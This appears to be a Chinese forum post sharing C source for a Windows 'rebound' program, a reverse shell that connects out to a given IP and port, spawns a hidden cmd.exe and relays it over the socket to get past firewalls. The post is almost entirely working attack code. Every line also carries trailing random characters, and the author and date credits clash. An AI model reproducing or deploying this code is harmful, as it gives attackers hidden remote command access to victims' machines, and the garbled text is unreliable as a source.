这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '|R|7nQAj
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/* ============================== pl&GFf
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Rebound port in Windows NT kk#d-!
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By wind,2006/7 ,1L^#?Q~
===============================*/ m#'9)%t!J
#include -E"o)1Pj6C
#include oGJI3Oh
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#pragma comment(lib,"wsock32.lib") ?GZs5CnS
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void OutputShell(); 5w3'yA<vE
SOCKET sClient; $=R\3:j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8/v_ uEG
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void main(int argc,char **argv) !>j-j
{ >=Veu; A
WSADATA stWsaData; 0IuU4h5Fr
int nRet; OYy8u{@U:
SOCKADDR_IN stSaiClient,stSaiServer; 9,+LNZ'k
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if(argc != 3) c7_b^7h1
{ :Fl: bRH+
printf("Useage:\n\rRebound DestIP DestPort\n"); GvY8O|a
return; zV#k
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} St<\qC
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ycm1 _z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1|CO>)*D
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stSaiClient.sin_family = AF_INET; (ol 3vt
stSaiClient.sin_port = htons(0); l|9`22G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H]\H'r"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;$]R#1i44
{ WxdYvmp6z[
printf("Bind Socket Failed!\n"); ;H.r6
return; `SWK(='
} ^+&}:9Ml
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stSaiServer.sin_family = AF_INET; WObfHAp.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .H"gH-I
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V-57BKeDz
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4" @yGXUb
{ '_8Vay~
printf("Connect Error!"); N !:&$z-
return; = 8n*%NC
} 3%k+<ho(
OutputShell(); N?p$-{
} -xXM/3g1u
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void OutputShell() m`t7-kiZ
{ ;|c,
char szBuff[1024]; ):\L#>:w
SECURITY_ATTRIBUTES stSecurityAttributes; 4 2~;/4
OSVERSIONINFO stOsversionInfo; hLF@'ln
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F6Ixu_s
STARTUPINFO stStartupInfo; .u)YZN0\
char *szShell; $xqphhBg
PROCESS_INFORMATION stProcessInformation; F-t-d1w6
unsigned long lBytesRead; P`0aU3pl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4CqZvdC
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {^v50d
stSecurityAttributes.lpSecurityDescriptor = 0; (fl2?d5+C
stSecurityAttributes.bInheritHandle = TRUE; r mhB!Lo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ty5\zxC|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &' Ch[Wo]H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~lMsD~$sO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rYT3oqpfT
stStartupInfo.wShowWindow = SW_HIDE; ]yyfE7{q
stStartupInfo.hStdInput = hReadPipe; ITTC}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v^pE=f*/
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GetVersionEx(&stOsversionInfo); ,Tpds ^
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switch(stOsversionInfo.dwPlatformId) ?mMd6U&J
{ l\bBc,%jt
case 1: 8d]=
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szShell = "command.com"; SU:Cm:$
break; }'3V(;9
default: WZZD
szShell = "cmd.exe"; i/->g:47P
break; umj7-fh
} v/)dsSNZ0u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5D'8 l@7
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send(sClient,szMsg,77,0); }b44^iL$9y
while(1) 15870xS
{ ^rI&BN@S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9yQ[ *
if(lBytesRead) C>LkU |[
{ ks!
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tTY (I1
send(sClient,szBuff,lBytesRead,0); 7oUYRqd
} 4&?%" 2
else BPW:W }
{ g{&ux k);
lBytesRead=recv(sClient,szBuff,1024,0); OUD<+i,
if(lBytesRead<=0) break; ,5nrovv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \aG>(Mr
} 1=s%.0
} he/FtkU
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return;
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}